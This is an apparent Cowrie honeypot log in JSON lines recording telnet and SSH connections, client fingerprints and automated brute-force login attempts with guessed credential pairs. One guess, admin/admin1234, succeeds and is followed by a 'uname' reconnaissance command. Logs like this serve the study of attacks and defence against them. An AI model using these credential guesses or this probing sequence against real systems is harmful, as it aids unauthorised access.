{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34930,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f8306f6d530","protocol":"telnet","message":"New connection: 152.42.224.71:34930 (10.17.0.5:23) [session: 2f8306f6d530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:52.086696Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:52.381083Z","src_ip":"31.40.204.166","session":"cde465807408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34936,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf65f06868d","protocol":"telnet","message":"New connection: 152.42.224.71:34936 (10.17.0.5:23) [session: 3cf65f06868d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:53.026562Z"}
{"eventid":"cowrie.session.closed","duration":50.925376892089844,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:53.281882Z","src_ip":"152.42.224.71","session":"bbdf07726ff0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34938,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b722cc5d38","protocol":"telnet","message":"New connection: 152.42.224.71:34938 (10.17.0.5:23) [session: 70b722cc5d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:53.650882Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34950,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7e8576b696","protocol":"telnet","message":"New connection: 152.42.224.71:34950 (10.17.0.5:23) [session: 0f7e8576b696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:53.773259Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":57634,"dst_ip":"159.203.135.109","dst_port":22,"session":"77300044e456","protocol":"ssh","message":"New connection: 38.93.206.2:57634 (159.203.135.109:22) [session: 77300044e456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:55.396214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:55.401523Z","src_ip":"38.93.206.2","session":"77300044e456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:55.449254Z","src_ip":"38.93.206.2","session":"77300044e456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"012345","message":"login attempt [root/012345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:55.644865Z","src_ip":"38.93.206.2","session":"77300044e456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58840,"dst_ip":"10.17.0.5","dst_port":23,"session":"7936b81d7e95","protocol":"telnet","message":"New connection: 152.42.224.71:58840 (10.17.0.5:23) [session: 7936b81d7e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:56.515541Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58850,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d0d66ee8dcb","protocol":"telnet","message":"New connection: 152.42.224.71:58850 (10.17.0.5:23) [session: 9d0d66ee8dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:56.639788Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:55:56.699640Z","src_ip":"38.93.206.2","session":"77300044e456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.006187915802,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:00.554215Z","src_ip":"152.42.224.71","session":"9ff215b0f98f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.5597140789032,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:01.613096Z","src_ip":"152.42.224.71","session":"7e3f2642f610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42768,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5fe4630eda7","protocol":"ssh","message":"New connection: 31.40.204.166:42768 (159.203.135.109:22) [session: e5fe4630eda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:01.703135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:01.791746Z","src_ip":"31.40.204.166","session":"e5fe4630eda7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:01.894564Z","src_ip":"31.40.204.166","session":"e5fe4630eda7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:02.892581Z","src_ip":"31.40.204.166","session":"e5fe4630eda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:04.100448Z","src_ip":"31.40.204.166","session":"e5fe4630eda7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58860,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0860be57639","protocol":"telnet","message":"New connection: 152.42.224.71:58860 (10.17.0.5:23) [session: c0860be57639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:05.262417Z"}
{"eventid":"cowrie.session.closed","duration":45.17773795127869,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:05.429480Z","src_ip":"152.42.224.71","session":"12aae86cd0cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.488624572753906,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:06.276253Z","src_ip":"152.42.224.71","session":"819d926415b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":97.40062236785889,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:06.699858Z","src_ip":"152.42.224.71","session":"200174428b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55522,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f1b5b7b6a6f","protocol":"telnet","message":"New connection: 152.42.224.71:55522 (10.17.0.5:23) [session: 3f1b5b7b6a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:07.767485Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55524,"dst_ip":"10.17.0.5","dst_port":23,"session":"587da36edd34","protocol":"telnet","message":"New connection: 152.42.224.71:55524 (10.17.0.5:23) [session: 587da36edd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:09.479345Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55546,"dst_ip":"10.17.0.5","dst_port":23,"session":"e276d83875bc","protocol":"telnet","message":"New connection: 152.42.224.71:55546 (10.17.0.5:23) [session: e276d83875bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:12.638023Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55540,"dst_ip":"10.17.0.5","dst_port":23,"session":"61fd38d814c8","protocol":"telnet","message":"New connection: 152.42.224.71:55540 (10.17.0.5:23) [session: 61fd38d814c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:12.882699Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37574,"dst_ip":"159.203.135.109","dst_port":22,"session":"354739b2911b","protocol":"ssh","message":"New connection: 31.40.204.166:37574 (159.203.135.109:22) [session: 354739b2911b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:13.309006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:13.315540Z","src_ip":"31.40.204.166","session":"354739b2911b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:13.492117Z","src_ip":"31.40.204.166","session":"354739b2911b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:13.907147Z","src_ip":"31.40.204.166","session":"354739b2911b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:15.098556Z","src_ip":"31.40.204.166","session":"354739b2911b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.32168745994568,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:17.247783Z","src_ip":"152.42.224.71","session":"80f315c9442d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.31851243972778,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:17.727847Z","src_ip":"152.42.224.71","session":"a6795adba36e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.10369396209717,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:19.721868Z","src_ip":"152.42.224.71","session":"c31546de5f86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.61128067970276,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:19.901155Z","src_ip":"152.42.224.71","session":"a4f1222d6952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":84.11910581588745,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:21.449041Z","src_ip":"152.42.224.71","session":"4b1778346563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37192,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab720c82eed","protocol":"telnet","message":"New connection: 152.42.224.71:37192 (10.17.0.5:23) [session: aab720c82eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:22.582047Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51060,"dst_ip":"159.203.135.109","dst_port":22,"session":"00ab8a2d4d44","protocol":"ssh","message":"New connection: 31.40.204.166:51060 (159.203.135.109:22) [session: 00ab8a2d4d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:25.083982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:25.089316Z","src_ip":"31.40.204.166","session":"00ab8a2d4d44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:25.216301Z","src_ip":"31.40.204.166","session":"00ab8a2d4d44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:25.686890Z","src_ip":"31.40.204.166","session":"00ab8a2d4d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.749977111816406,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:25.870768Z","src_ip":"152.42.224.71","session":"a98a503eba0c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:26.019895Z","src_ip":"31.40.204.166","session":"00ab8a2d4d44","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:26.022900Z","src_ip":"31.40.204.166","session":"00ab8a2d4d44","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:26.186857Z","src_ip":"31.40.204.166","session":"00ab8a2d4d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:26.192008Z","src_ip":"31.40.204.166","session":"00ab8a2d4d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":92.54476618766785,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:28.541651Z","src_ip":"152.42.224.71","session":"5eec8075ad11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23351240158081,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:28.748807Z","src_ip":"152.42.224.71","session":"7936b81d7e95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.61651539802551,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:31.703094Z","src_ip":"152.42.224.71","session":"2f8306f6d530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.68324327468872,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:35.334045Z","src_ip":"152.42.224.71","session":"70b722cc5d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34802,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8fccea10d57","protocol":"telnet","message":"New connection: 152.42.224.71:34802 (10.17.0.5:23) [session: b8fccea10d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:36.763956Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52740,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4f067665e6b","protocol":"ssh","message":"New connection: 31.40.204.166:52740 (159.203.135.109:22) [session: b4f067665e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:37.520619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:37.526157Z","src_ip":"31.40.204.166","session":"b4f067665e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:37.692342Z","src_ip":"31.40.204.166","session":"b4f067665e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34812,"dst_ip":"10.17.0.5","dst_port":23,"session":"58297d5dc43d","protocol":"telnet","message":"New connection: 152.42.224.71:34812 (10.17.0.5:23) [session: 58297d5dc43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:37.715935Z"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:56:38.199497Z","src_ip":"31.40.204.166","session":"b4f067665e6b","protocol":"ssh"}
